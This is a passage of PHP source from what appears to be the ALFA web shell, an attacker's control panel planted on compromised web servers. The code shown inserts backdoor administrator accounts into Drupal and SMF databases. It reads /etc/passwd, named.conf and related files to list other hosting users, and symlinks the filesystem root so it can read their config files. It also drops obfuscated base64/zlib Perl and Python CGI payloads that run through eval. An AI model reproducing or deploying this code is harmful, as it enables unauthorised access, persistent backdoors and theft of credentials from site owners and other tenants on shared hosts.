$_POST&#91;'alfa4'];\n$username = $_POST&#91;'alfa5'];\n$password = $_POST&#91;'alfa6'];\n$admin = $_POST&#91;'alfa8'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$getDescuid = @mysqli_query($conn,\"select uid from users order by uid desc limit 0,1\");\n$getDescuid = @mysqli_fetch_assoc($getDescuid);\n$getDescuid = $getDescuid&#91;'uid'];\n$getdescuid = $getDescuid++;\n$solevisible=@mysqli_query($conn,\"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values('$getDescuid','$admin','\\$S\\$DP2y9AbolCBOd\\\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC','solevisible@fbi.gov','filtered_html','1','Europe\/Berlin','solevisible@fbi.gov')\") or die(mysqli_error($conn));\n$solevisible=@mysqli_query($conn,\"select uid from users where name='\".$admin.\"'\") or die(mysqli_error($conn));\n$sole = mysqli_num_rows($solevisible);\nif ($sole == 1){\n$solevis = mysqli_fetch_assoc($solevisible);\n$res = $solevis&#91;'uid'];\n}\n$solevisible=@mysqli_query($conn,\"INSERT INTO users_roles (uid,rid) VALUES ('\".$res.\"', '3')\") or die(mysqli_error($conn));\nif($solevisible){\n__alert('Success... '.$admin.' is created...');}\n}\n}\n\nif(isset($_POST&#91;'alfa10']) &amp;&amp; $_POST&#91;'alfa10'] == 'smf'){\n\necho __pre().'&lt;center>&lt;center>&lt;div class=\"txtfont_header\">| SMF |&lt;\/div>&lt;p>&lt;p>'.getConfigHtml('smf').'&lt;\/p>&lt;form onSubmit=\"g(\\'pwchanger\\',null,\\'>>\\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\\'smf\\'); return false;\" method=\"POST\">';\n$table = array('td1' =>\n array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'id'=>'db_host','inputName' => 'localhost', 'inputValue' => 'localhost', 'inputSize' => '50'),\n 'td2' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'id'=>'db_name','inputName' => 'database', 'inputValue' => '', 'inputSize' => '50'),\n 'td3' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db User', 'id'=>'db_user','inputName' => 'username', 'inputValue' => '', 'inputSize' => '50'),\n 'td4' =>\n array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'id'=>'db_pw','inputName' => 'password', 'inputValue' => '', 'inputSize' => '50'),\n 'td5' =>\n array('color' => 'FFFFFF', 'tdName' => 'Table Prefix', 'id'=>'db_prefix','inputName' => 'prefix', 'inputValue' => 'smf_', 'inputSize' => '50'),\n 'td6' =>\n array('color' => 'FF0000', 'tdName' => 'Admin User', 'inputName' => 'admin', 'inputValue' => 'admin', 'inputSize' => '50'),\n 'td7' =>\n array('color' => 'FF0000', 'tdName' => 'Admin Pass', 'inputName' => 'hi', 'inputValue' => 'solevisible', 'inputSize' => '50', 'disabled' => true),\n );\ncreate_table($table);\necho '&lt;p>&lt;input value=\" \" name=\"send\" type=\"submit\">&lt;\/p>&lt;\/form>&lt;\/center>';\nif ($_POST&#91;'alfa1'] &amp;&amp; $_POST&#91;'alfa1'] == '>>'){\n$localhost = $_POST&#91;'alfa2'];\n$database = $_POST&#91;'alfa3'];\n$username = $_POST&#91;'alfa5'];\n$password = $_POST&#91;'alfa6'];\n$prefix = $_POST&#91;'alfa7'];\n$admin = $_POST&#91;'alfa8'];\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\n$setpwAlg = sha1(strtolower($admin) . 'solevisible');\n$solevisible=@mysqli_query($conn,\"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,'$admin','1','$admin','$setpwAlg','solevisible@fbi.gov')\") or die(mysqli_error($conn));\nif($solevisible){\n__alert('Success... '.$admin.' is created...');}\n}\n}\necho \"&lt;\/div>\";\nalfafooter();\n}\nfunction alfaMakePwd(){\nif(_alfa_file_exists(\"\/etc\/virtual\/domainowners\")||(_alfa_file_exists(\"\/etc\/named.conf\")&amp;&amp;_alfa_file_exists(\"\/etc\/valiases\"))){\nreturn \"\/home\/{user}\/public_html\/\";\n}\n$document = explode(\"\/\", $_SERVER&#91;\"DOCUMENT_ROOT\"]);\n$public = end($document);\narray_pop($document);\narray_pop($document);\n$path = implode(\"\/\", $document) . \"\/{user}\/\" . $public;\nreturn $path;\n}\nfunction alfaGetDomains($state = false){\n$state = \"named.conf\";\n$lines = array();\n$lines = _alfa_file('\/etc\/named.conf');\nif(!$lines){\n$lines = @scandir(\"\/etc\/valiases\/\");\n$state = \"valiases\";\nif(!$lines){\n$lines = @scandir(\"\/var\/named\");\n$state = \"named\";\nif(!$lines &amp;&amp; $state){\n$lines = _alfa_file('\/etc\/passwd');\n$state = \"passwd\";\n}\n}\n}\nreturn array(\"lines\" => $lines, \"state\" => $state);\n}\nfunction alfaCreateParentFolder(){\n$parent = $GLOBALS&#91;'home_cwd'] . \"\/\" . __ALFA_DATA_FOLDER__;\nif(!@is_dir($parent)){\n@mkdir($parent, 0755, true);\n}\n}\nfunction alfasymlink(){\nalfahead();\nAlfaNum(9,10);\nalfaCreateParentFolder();\n@chdir($GLOBALS&#91;'home_cwd'] . \"\/\" . __ALFA_DATA_FOLDER__);\necho '&lt;div class=header>&lt;br>&lt;center>&lt;div class=\"txtfont_header\">| Symlink |&lt;\/div>&lt;center>&lt;h3>&lt;a href=javascript:void(0) onclick=\"g(\\'symlink\\',null,null,\\'symphp\\')\">| Symlink( php ) | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'symlink\\',null,null,\\'symperl\\')\">| Symlink( perl ) | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'symlink\\',null,null,\\'sympy\\')\">| Symlink( python ) | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'symlink\\',null,null,null,null,\\'SymFile\\')\">| File Symlink | &lt;\/a>&lt;\/h3>&lt;\/center>';\nif(isset($_POST&#91;'alfa2'])&amp;&amp;($_POST&#91;'alfa2']=='symperl'||$_POST&#91;\"alfa2\"]==\"sympy\")){\n$sympath = alfaMakePwd();\n@mkdir('cgialfa',0755);\n@chdir('cgialfa');\nalfacgihtaccess('cgi');\n$perl = '#!\/usr\/bin\/perl   -I\/usr\/local\/bandmin'.\"\\n\".'use MIME::Base64;use Compress::Zlib;my $alfa_data=\"'.__ALFA_DATA_FOLDER__.'\";eval(Compress::Zlib::memGunzip(decode_base64(\"H4sIAAAAAAAA\/50Ye1PTSPyrLLFnEqV5VBBs2gKH4jmjciPoP5TrbLLbNpImuez2Zamf\/X77SBqgoHOZId3N\/t7vZcooirKUcZxy9OFicPr+A+r20A5dxIwz1Dj58v7blXcdTJaoMWv5qIsMQ21CtY6HyFJ4NlrlRQxkjNMs5TTlTb7MaRtxuuDumE+SftpPO2LR64wpJr0Oj3lCe6cZoQSFS3Ty8ewEXdKTTx1XnXQYX8IPXgkSTUKjrMA8ztJ2mqU0WHdcdd5xFbkwI0sUjqIsyYqu+cyTj9kzAiWW2SHxDEmUrpFjQuJ01Pa9fBEEE1yM4rQZZpxnE\/UtzApCi7afLxDBbAwSPhvKJ5D027AT5AMpGk7iUdqOQGdaBEPQvjmn8WjM22GWEPWBxT9ou\/UaKBsbjVmWUMQwQc9RnM5iFoew\/4kulpMkTm\/Qn0v0Ny2SjguC98xgTRNGV9oNlWeUJxo4GeIBwRw7hhuNYrF1jWDNpiGQHuCiwEu0AsdZgO\/tNma+ZwPa8UA484+ZP4TNBOdo1RgI\/\/trdCwAg4LyaZEiS8UDIPvDlUBe2\/aR3\/YUg3xOStqvNdV4aO3osFhpGkLwYA0HAIXov8ggcUEjblQAhjvOJtRdTRkt1m4+DZM4Goh4EYoAXpMCCOWRm+IJJQ6E7dBAz5+jJtHfZ+AHzChzf5PmMcuTmIPA8tdy+667ixrvPn9bGW\/PT79+evf5cvDl\/PzSWNsq5g8ANs9ypBCD2lKz+57FqWW4xq7+bjsggWZuIAcoKItN8A3lRWm0PeA6o+LlH4r3vjaiTqcOQKqwNR9GmwlpBLEvYgyVkX8Gj+dD5APDPcfouOIU0kQAcrKFVkKHXFDCaFzQYdc0HJCKSiddHYnn2kBHyPyOZ5hFRZzzNk5owS1jDtVDVI5hnBJEsgmOU8dxDNtsI3PMed52XROEoLZjmIhDllHeNQdhgtMb857QnnfSanlKaFoTGleCb9Hy7Ewh+IcP1KxrAzniGCIlmMosV6xzSC2HL7g43oes+ZWAYFNZT3R2PhDQ5UVPZxzJBsDpfk7IEPJfiRiaE\/ldfDqe+fvwydKbqLZ+Va0bMwJrX5OApaeWbzZLb7P0FUQt1WTGQFaoY8FDfwqynEJ6E0+4ju0i816CmTbKigqnTDAj0FJ3NGIviJIMWoneKtaAI3hXSCV7IbR5N2FNKQcUBKQaTWtXASreB1J3zbKgonQXEurOueJ5cJfLDBdKm6c5+L\/g4JccdsTGXiknQDmDB6rytqK21bCzuOBTnLgqVbJ5SgtWmfiOEE9b1tdaHtacXjOr5vKkzoeaW7RV48ONSQ9LXaQdHw8RImVRBDvyuJRdbqr25WnL6e0bva0Uq+JXcLVyzNi84qp2j1hMHfYC4QoIVrU1gg1lXU91EUDviiIrRLnSolXlFos2rAaArumbZcEMcXQzKrJpSpp6BlAjhh4f2h7CU57Jiqznm\/9Zt188KGVbK+VbGUTsaeCySn6FHvRL0O0Frixu8NJ6iUkLal1jIe0\/zCB+orEMMkCkyBIesVcRtN5cB6ecUcSh3uPaJOmTcpR8UK90xkFQSMLdn2jiOi+OfsD8hwwLVraBVm5QMvC1J606R1ugMdchoeuOqkALJR9gkYJr7owlije6vUXll1oFqyM7GqjcOhU1pZaMwnuDiehVYaCGGQEiw10YAxpPPp\/GxLJgFueWPLOv9q5trZIirNaqa9DN4NIWc4vUNdDk4Ieq6VAZQmz9a2XiN5Kp2CvL\/NNnL2\/hryHsU8f3Jb6gsx0wrDGqW1BnXmktetW6Rh2073mlfTRuNVyodndQm8TWahaDdilVIiWn\/Wvo1MKKB0K60pl4qzNFjFSiWBsqr3RE6LlM4IvAkFhEDJT39FBe9srGsieLUz3ooeRByEd3Ir5VC3Bci2+irRI9FszCOS0VzJZCbfha4L5z22\/WgtirYGdRBQxy3IeWwC0Alg1nkEAx7yJ4j\/hYWs9GTTVbVCMHYMAcw3ghz3eRB76okG1hnOr4walUsLxzWH2gKR2JHdCjShA5\/1qNhThSbQnLNwF3L16+DLSd\/SCfsrFVowF6iK6rC8MeOGVDqoqnLQR16jwmGgTkduH8cAuxB0IBNnAoG4irCiT8ik4ihsL15Ab6q1WfQUFI72B\/X493voyXZ+pmCPe+C3EzvJA3ww\/lzbCfnufi+svgE6ELytBZliTZHOr1RyDI+ulbOXxkxVICyOulxnVyuPT00xNCLuFSru7keQLtA+XjXPztIQGRIHghdVkH2L9wSmDQ\/w1wHelDNU\/CArzRAxXvTN3OmOMoooyVV3II3+Faaq8nBUFBQ6tr1ONTuwzSnepOuG2ygrRXk7hVNhRdTMuv5bAmU6S8rlZe1E6U\/7EAH\/4H5eHKfSsRAAA=\")));';\n$py = '#!\/usr\/bin\/python'.\"\\nimport zlib, base64\\nalfa_data='\".__ALFA_DATA_FOLDER__.\"'\\n\".'eval(compile(zlib.decompress(base64.b64decode(\"eJydWN1z4jgSfzZ\/hdZTWcOG2JC6vQdC2MrNTO6manfn6ib7lFAuYQvwjrFckgiwU3N\/+3XrwxbgZKbOD1iW+lvdP7VQ4jDpEXiKTc2FItmqUAs9oUcxq+iiZP1Bj+0zVqtJL6iplL2eJVfFhrkxl24kD81QNMv1Lu\/1ViVf0DKFMbklYei+t6I03x8+pW\/\/+QHG97SUrKecdUd8ID6mYvX8OJ77i0aIVKJPyyVNc6rogFySMAFPcCYJGyeQq1H1ILas18vZkqyYQhX9mssBeFosGyJrEEwGgqmtqDyLNCGwIFWYF4JlKiRckD6XcU3VOi7ksoAYhglTWVLRDcvjjFfLcEBolZOWCngt0TMtCyqZTMLBwNMZJmu+YcmXrWTia1JvF2WRpWu1KcG1ALjBBBTHqudC8OoxfPfx7R+\/vf\/9If3Px48P4TyWdVkoUBEOYBs1NzAgX1zzGvY48MdO54V0Ci9kSC4I8sd\/8qLqI\/VgSIykgQnhhn5msAMZ31ZqSHK+oUU1JMg\/JNkuR2\/WStW42\/ieJEl4iVtmKAc6lmasw\/n4Cz7zEINg+aI\/6TOVmShgI2nJBDi0YySjlSLLAuJpuOM4DgcRuCkKWAinSkBmHEp2Gym2V1cQ31U1yVilmLiJZlOVz6ZLDpQZL7m4jd7cwzMaRzNjnXZncBlOEySaTROkV3mHyJItFQqkZC3Y8jYy\/Gg6sEdEQd4ydRuli5JWn6MTpaPR3fX1yCm1IfG00kZzh7X3944Ro31u7KlNbdUALdaHPGzKovqc4Lg+2K9Y7ZWNAezeZZh8ywcIGzzR7JPhP7M9UWIG2aqTJeepVeNKbnOwNe6XYi+A3U0Fo3mqq8fVbFDIFDJdbWnZTD1T0RAZDAlMHPmuYrpA7CwTAmq0+XQ8j\/NeAAYxacf5At3MPpeFVHbKq3bNpZPzyBQr89xst6BxLQgaTbxmVQc+xMisabAgA4Ne5L1+FbzSIpyoVpaM0dhOMEHCTimtmG45EFZjmZERHMXZRP5F0U2oDR0rz+Fy8npMbGQTfyfPonO6z9aq14PmXDgPmlX5Wsw699wPZSP9u7b3xfi9mEYnkYW46glkO0nvQAechHh47\/LwJng94JbsuxLwZRss9toSJ+9xHnEZc8CcpQ06Y5NBFlzkDDBkHDlgXUDlrQSAb36l8WXyZqSfmw1gUFFNRoRuFdcAvgZLZ\/83zP90BpadwPxOp5h8ndiB8R8Aw98k7QZLB5TwY\/1a8PyAuBnsIdRjeC8h6LgzBE5KvUPNXgIBvmIA7aI2mUXzXDAp7QrO6DLBjHj8AZ85ig4A4lPFNrXpxTDDu6BOT3v17\/VG8EhGRbYGCQIs0ON+FP\/0y18cDAv7MBqE5Es01IZYLAFxhtKK8Mw18zHmQN0fW3rWagugklRROfxpF1oRdgSpXAOQQxsW54twCA4aadiaoSPo8zFcmnbHsju\/T3o6xz2watvabyIMp1gMp1m92xY5toRSUdXywWcKC4O43ul4Wg+7geBFb\/35dho74CYZTOs3sV6DJ2BA3\/TIU3LdIadxAIkeR\/PecVj17HjupPnga4Ud8Y\/nfj6eCRodL3t5Z6Fo0qQKIIa2+\/F6jqb\/PBp1RsfT0HSRZqHpfE2z4ULzNXFnm18GFy4PjM6f567fBY8suVcoP5wa7Imy2po0NE01ZKKOk5FlRZ0APt4STsKB94v2+JnYTK7y4+NBg4RObgAJLcs7mIAQX8fbUqUYtqb+O6xxwa7S7610neeWC8Q5Rieo1elWTsrdcmmiQpLfQX7De7LnmB4nUfHlN\/UlWpU4aDflKhyG+thzWKG\/vXxOoWywpqB4zL6RKw3H8Jz2iQ4xkOxxNGnY57iRxoKjaWdvvjCJB3l3YZQMrZ1eFIEI9rRR2QTkOB6BvY7tnQSbbfouphPTidyTy1vnSJtJTWfneRfTGhqFvJ8vmlp19McnQau7KcCX1LfaPfTqCIOt6UaxiYLfo3cBWWuI5X\/BDC8Gvshjh13LkpgjGd7Yu8DRDHcasCjVVZKmuljTFEExTREMvL8TvM7nLdgJ3cmVOtRsQrBnSfA+\/1Q9VVMczKb2\/C8UKHnLMcyLA7n79f6OPLC730C9XpnqrmdGv+i2J2cZF1QfHBVUy83XaWLWp4kRh6aTxaptb0wbEjaGRdO8eLatFGBOnhfVajIe1fsb23pdLbhSfGPmTOM2Gdd7QHO5BhvfLPVzY7u25VJ3bec9GfY7VztWrNZqsuBlbiZk8RebXP8dJIetz5JDiyhpTn6EPX8uZIEt43+JbZ3IPw7k3we15tU0AdNncPW3ZzEeuQcJu9wPxYZciSXxLru6toECUwT\/zuhH3mJkF7M13gtOVpxkc30NE2wpzm\/Omm6taJbZo+iN8Qes\/YT+fNL+fHD+PFUf9XkvYSpne2jL73lZ8h04+SuIlE\/VO31h4uKgCXRQLG9cQ8I8VXd5\/gDJZHIJUAzqo17XBJMJf\/Djb6Q2SQa0\/4LDpYRj+tvkmByb5poQO6cAIHeXOoybeCcKxfpuxcxlJZf4\/2Gvq3167Xp3DCfeXwVhexFlXcv2Tgnrp23UEO8m\/r3DZCFUT00rd3EwKStYDheGC+jfcQ0Kx5JiKwBC\/gejBmkk\")),\\'&lt;string>\\',\\'exec\\'))';\n$cginame = \"symperl.alfa\";\n$source = $perl;\n$lang = \"perl\";\nif($_POST&#91;\"alfa2\"]==\"sympy\"){\n$cginame = \"pysymlink.alfa\";\n$source = $py;\n$lang = \"python\";\n}\n@__write_file($cginame,$source);\n@chmod($cginame,0755);\necho __pre();\n$resource = alfaEx(\"{$lang} {$cginame} {$sympath}\",false,true,true);\nif(strlen($resource) == 0){\necho AlfaiFrameCreator('cgialfa\/'.$cginame);\n}else{\necho $resource;\n}\n}\nif(isset($_POST&#91;'alfa4']) &amp;&amp; $_POST&#91;'alfa4']=='SymFile'){\nif(function_exists('symlink')||_alfa_can_runCommand(true,true)){\nAlfaNum(9,10);\necho __pre().'\n&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| Symlink File And Directory |&lt;\/div>&lt;\/p>&lt;form onSubmit=\"g(\\'symlink\\',null,null,null,null,\\'SymFile\\',this.file.value,this.symfile.value,this.symlink.value);return false;\" method=\"post\">\n&lt;input type=\"text\" name=\"file\" placeholder=\"Example : \/home\/user\/public_html\/config.php\" size=\"60\"\/>&lt;br \/>\n&lt;input type=\"text\" name=\"symfile\" placeholder=\"Example : alfa.txt\" size=\"60\"\/>\n&lt;p>&lt;input type=\"submit\" value=\" \" name=\"symlink\" \/>&lt;\/p>&lt;\/form>&lt;\/center>';\n$path = $_POST&#91;'alfa5'];\n$symname = $_POST&#91;'alfa6'];\n$solevisible58 = $_POST&#91;'alfa7'];\nif($solevisible58){\n$new_name = str_replace(\".\", \"_\", basename($symname));\n$rand_dir = $new_name.rand(111,9999);\n$sym_dir = 'alfasymlinkphp\/'.$rand_dir.'\/';\n@mkdir($sym_dir, 0777, true);\nalfacgihtaccess('sym', $sym_dir, $symname);\n_alfa_symlink(\"$path\",\"$sym_dir\/$symname\");\necho __pre();\necho '&lt;center>&lt;b>&lt;font color=\"white\">Click >> &lt;\/font>&lt;a target=\"_blank\" href=\"'.__ALFA_DATA_FOLDER__.\"\/\".$sym_dir.'\" >&lt;b>&lt;font size=\"4\">'.$symname.'&lt;\/font>&lt;\/b>&lt;\/a>&lt;\/b>&lt;\/center>';\n}\n}else{echo \"&lt;center>&lt;pre class=ml1 style='margin-top:5px'>&lt;b>&lt;font color=\\\"#FFFFFF\\\">&#91;+] Symlink Function Disabled !&lt;\/b>&lt;\/font>&lt;\/pre>&lt;\/center>\";}\n}\nif(isset($_POST&#91;'alfa2']) &amp;&amp; $_POST&#91;'alfa2']=='symphp'){\n$cant_symlink = true;\nif(function_exists('symlink')||_alfa_can_runCommand(false,false)){\n@mkdir('alfasymlink',0777);\nalfacgihtaccess('sym','alfasymlink\/');\n_alfa_symlink('\/','alfasymlink\/root');\n$table_header = \"&lt;pre id=\\\"strOutput\\\" style=\\\"margin-top:5px\\\" class=\\\"ml1\\\">&lt;br>&lt;table id='tbl_sympphp' align='center' width='40%' class='main' border='1'>&lt;td>&lt;span style='color:#FFFF01;'>&lt;b>*&lt;\/span>&lt;\/b>&lt;\/td>&lt;td>&lt;span style='color:#00A220;'>&lt;b>Domains&lt;\/span>&lt;\/b>&lt;\/td>&lt;td>&lt;span style='color:#FFFFFF;'>&lt;b>Users&lt;\/span>&lt;\/b>&lt;\/td>&lt;td>&lt;span style='color:#FF0000;'>&lt;b>symlink&lt;\/span>&lt;\/b>&lt;\/td>\";\nif(_alfa_file_exists(\"\/etc\/named.conf\") &amp;&amp; !_alfa_file_exists(\"\/etc\/virtual\/domainowners\") &amp;&amp; _alfa_file_exists(\"\/etc\/valiases\/\")){\necho \"&lt;center>\";\n$lines = array();\n$anony_domains = array();\n$anonymous_users = array();\n$f_black = array();\n$error = false;\n$anonymous = false;\n$makepwd = \"\/home\/{user}\/public_html\/\";\n$domains = alfaGetDomains();\n$lines = $domains&#91;\"lines\"];\n$state = $domains&#91;\"state\"];\n$is_posix = function_exists(\"posix_getpwuid\") &amp;&amp; function_exists(\"fileowner\");\n$can_runcmd = _alfa_can_runCommand(false,false);\nif(!$is_posix &amp;&amp; !$can_runcmd){\n$anonymous = true;\n$anony_domains = $domains&#91;\"lines\"];\n$lines = _alfa_file('\/etc\/passwd');\n}\necho $table_header;\n$count=1;\n$template = '&lt;tr>&lt;td>&lt;span style=\"color:#FFFF01;\">{count}&lt;\/span>&lt;\/td>&lt;td style=\"text-align:left;\">&lt;a target=\"_blank\" href=\"{http}\"\/>&lt;span style=\"color:#00A220;margin-left:10px;\">&lt;b>{domain}&lt;\/b> &lt;\/a>&lt;\/span>&lt;\/td>&lt;td style=\"text-align:left;\">&lt;span style=\"color:#FFFFFF;margin-left:10px;\">&lt;b>{owner}&lt;\/font>&lt;\/b>&lt;\/td>&lt;td>&lt;a href=\"'.__ALFA_DATA_FOLDER__.'\/alfasymlink\/root{sympath}\" target=\"_blank\">&lt;span style=\"color:#FF0000;\">Symlink&lt;\/span>&lt;\/a>&lt;\/td>&lt;\/tr>';\nforeach($lines as $line){\n$domain = \"\";\n$owner = \"\";\nif($anonymous){\n$explode = explode(\":\", $line);\n$owner = $explode&#91;0];\n$owner_len = strlen($owner) - 1;\n$userid = $explode&#91;2];\nif((int)$userid &lt; 500)continue;\n$domain = \"&#91;?????]\";\n$temp_black = array();\n$finded = false;\nforeach($anony_domains as $anony){\nif($state == \"named.conf\"){\nif(@strstr($anony, 'zone')){\npreg_match_all('#zone \"(.*)\"#',$anony, $data);\n$domain = $data&#91;1]&#91;0];\n}else{\ncontinue;\n}\n}elseif($state == \"named\" || $state == \"valiases\"){\nif($anony == \".\" || $anony == \"..\")continue;\nif($state == \"named\")$anony = rtrim($anony, \".db\");\n$domain = $anony;\n}\n$sub_domain = str_replace(array(\"-\",\".\"), \"\", $domain);\nif(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){\nif(in_array($owner.$domain, $temp_black))continue;\n$sympath = str_replace(\"{user}\", $owner, $makepwd);\n$http = \"http:\/\/\".$domain;\necho str_replace(array(\"{count}\", \"{http}\", \"{domain}\", \"{owner}\", \"{sympath}\"), array($count, $http, $domain, $owner, $sympath), $template);\n$count++;\n$temp_black&#91;] = $owner.$domain;\n$finded = true;\n}\n}\nif(!$finded){\n$anonymous_users&#91;] = $owner;\n}\n}else{\n if($state == \"named.conf\"){\nif(@strstr($line, 'zone')){\npreg_match_all('#zone \"(.*)\"#',$line, $data);\n$domain = $data&#91;1]&#91;0];\n}else{\ncontinue;\n}\n}elseif($state == \"named\" || $state == \"valiases\"){\nif($line == \".\" || $line == \"..\")continue;\nif($state == \"named\")$line = rtrim($line, \".db\");\n$domain = $line;\n}\nif(strlen(trim($domain)) > 2 &amp;&amp; $state != \"passwd\"){\nif(!_alfa_file_exists('\/etc\/valiases\/'.$domain, false))continue;\nif($is_posix){\n$user = @posix_getpwuid(@fileowner('\/etc\/valiases\/'.$domain));\n$owner = $user&#91;\"name\"];\n}elseif($can_runcmd){\n$owner = alfaEx(\"stat -c '%U' \/etc\/valiases\/\".$domain,false,false);\n}\n}\n}\nif(!$anonymous){\nif(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;\n$sympath = str_replace(\"{user}\", $owner, $makepwd);\n$http = \"http:\/\/\".$domain;\nif($state == \"passwd\"){\n$http = \"javascript:alert('we cant find domain...')\";\n}\necho str_replace(array(\"{count}\", \"{http}\", \"{domain}\", \"{owner}\", \"{sympath}\"), array($count, $http, $domain, $owner, $sympath), $template);\n$count++;\n$f_black&#91;] = $owner.$domain;\n}\n}\nif($anonymous){\nforeach($anonymous_users as $owner){\n$sympath = str_replace(\"{user}\", $owner, $makepwd);\n$http = \"javascript:alert('we cant find domain...')\";\necho str_replace(array(\"{count}\", \"{http}\", \"{domain}\", \"{owner}\", \"{sympath}\"), array($count, $http, \"&#91;????]\", $owner, $sympath), $template);\n$count++;\n}\n}\n$cant_symlink = false;\n}else{\n$is_direct = false;\n$makepwd = alfaMakePwd();\nif(_alfa_file_exists(\"\/etc\/virtual\/domainowners\")){\n$makepwd = \"\/home\/{user}\/public_html\";\n$is_direct = true;\n}\n$sole = _alfa_file(\"\/etc\/virtual\/domainowners\");\n$count=1;\necho $table_header;\n$template = '&lt;tr>&lt;td>&lt;span style=\"color:#FFFF01;\">{count}&lt;\/span>&lt;\/td>&lt;td style=\"text-align:left;\">&lt;a target=\"_blank\" href=\"http:\/\/www.{url}\"\/>&lt;span style=\"color:#00A220;margin-left:10px;\">&lt;b>{url}&lt;\/b> &lt;\/a>&lt;\/span>&lt;\/td>&lt;td style=\"text-align:left;\">&lt;span style=\"color:#FFFFFF;margin-left:10px;\">&lt;b>{user}&lt;\/font>&lt;\/b>&lt;\/td>&lt;td>&lt;a href=\"'.__ALFA_DATA_FOLDER__.'\/alfasymlink\/root{cwd}\" target=\"_blank\">&lt;span style=\"color:#FF0000;\">Symlink&lt;\/span>&lt;\/a>&lt;\/td>&lt;\/tr>';\nif($sole){\nforeach($sole as $visible){\nif(@strstr($visible,\":\")){\n$solevisible = explode(':', $visible);\n$cwd = str_replace(\"{user}\", trim($solevisible&#91;1]), $makepwd);\necho str_replace(array(\"{count}\",\"{user}\",\"{url}\",\"{cwd}\"), array($count++, trim($solevisible&#91;1]), trim($solevisible&#91;0]), $cwd), $template);\n}\n}\n}else{\n$passwd = _alfa_file(\"\/etc\/passwd\");\nif($passwd){\n$html = \"\";\n$is_named = false;\n$users = array();\n$domains = array();\n$uknowns = array();\nforeach($passwd as $user){\n$user = trim($user);\n$expl = explode(\":\", $user);\nif((int)$expl&#91;2] &lt; 500)continue;\n$users&#91;$expl&#91;0]] = $expl&#91;5];\n}\n$site_domains = @scandir(\"\/etc\/virtual\/\");\nif(!$site_domains){\n$site_domains = alfaEx(\"ls \/etc\/virtual\/\");\n$site_domains = explode(\"\\n\", $site_domains);\nif(!$site_domains){\n$site_domains = _alfa_file(\"\/etc\/named.conf\");\nif($site_domains){$is_named = true;}\n}\n}\nforeach($site_domains as $line){\nif($is_named){\nif(@strstr($line, 'zone')){\npreg_match_all('#zone \"(.*)\"#',$line, $data);\n$domain = $data&#91;1]&#91;0];\nif(strlen($domain  > 2) &amp;&amp; !empty($domain)){\n$domains&#91;] = $domain;\n}\n}\n}else{\n$domains&#91;] = $line;\n}\n}\n$x = 1;\nforeach($users as $user => $home){\nforeach($domains as $domain){\n$user_len = strlen($user) - 1;\n$sub_domain = str_replace(array(\"-\",\".\"), \"\", $domain);\n$five_user = substr($user, 0,$user_len);\n$five_domain = substr($sub_domain, 0,$user_len);\nif($five_user == $five_domain){\nif($is_direct){\n$cwd = str_replace(\"{user}\", $user, $makepwd);\n}else{\n$expl = explode(\"}\/\", $makepwd);\n$cwd = $home.\"\/\".$expl&#91;1];\n}\n$html .= str_replace(array(\"{count}\",\"{user}\",\"{url}\", \"{cwd}\"), array($x++, $user, $domain, $cwd), $template);\n}else{\n$uknowns&#91;$user] = $home;\n}\n}\n}\n$uknowns = array_unique($uknowns);\nforeach($uknowns as $user => $home){\nif($is_direct){\n$cwd = str_replace(\"{user}\", $user, $makepwd);\n}else{\n$expl = explode(\"}\/\", $makepwd);\n$cwd = $home.\"\/\".$expl&#91;1];\n}\n$html .= str_replace(array(\"{count}\",\"{user}\",\"{url}\", \"{cwd}\"), array($x++, $user, \"&#91;?????]\", $cwd), $template);\n}\necho($html);\n}\n}\necho \"&lt;\/table>\";\n$cant_symlink = false;\n}\n}else{\necho \"&lt;pre class=ml1 style='margin-top:5px'>&lt;b>&lt;font color=\\\"#FFFFFF\\\">&#91;+] Symlink Function Disabled !&lt;\/b>&lt;\/font>&lt;\/pre>&lt;\/center>\";\n$cant_symlink = false;\n}\nif($cant_symlink)echo '&lt;pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">&lt;br>&lt;font color=\"#FFFFFF\">Error...&lt;\/font>&lt;\/b>&lt;br>';\necho \"&lt;\/center>&lt;\/table>\";\n}\necho \"&lt;\/div>\";\nalfafooter();\n}\nfunction alfasql(){\nclass DbClass{\npublic $type;\npublic $link;\npublic $res;\npublic $mysqli_connect_error = false;\npublic $mysqli_connect_error_msg = \"\";\nfunction __construct($type){\n$this->type = $type;\n}\nfunction connect($host, $user, $pass, $dbname){\nswitch($this->type){\ncase 'mysql':\nif($this->link = @mysqli_connect($host,$user,$pass,$dbname)){\nreturn true;\n}else{\n$this->mysqli_connect_error = true;\n$this->mysqli_connect_error_msg = mysqli_connect_error();\nreturn false;\n}\nbreak;\ncase 'pgsql':\n$host = explode(':', $host);\nif(!$host&#91;1]) $host&#91;1]=5432;\nif( $this->link = @pg_connect(\"host={$host&#91;0]} port={$host&#91;1]} user=$user password=$pass dbname=$dbname\") ) return true;\nbreak;\n}\nreturn false;\n}\nfunction selectdb($db){\nswitch($this->type){\ncase 'mysql':\nif(@mysqli_select_db($db))return true;\nbreak;\n}\nreturn false;\n}\nfunction query($str){\nswitch($this->type){\ncase 'mysql':\nreturn $this->res = @mysqli_query($this->link,$str);\nbreak;\ncase 'pgsql':\nreturn $this->res = @pg_query($this->link,$str);\nbreak;\n}\nreturn false;\n}\nfunction fetch(){\n$res = func_num_args()?func_get_arg(0):$this->res;\nswitch($this->type){\ncase 'mysql':\nreturn @mysqli_fetch_assoc($res);\nbreak;\ncase 'pgsql':\nreturn @pg_fetch_assoc($res);\nbreak;\n}\nreturn false;\n}\nfunction listDbs(){\nswitch($this->type){\ncase 'mysql':\nreturn 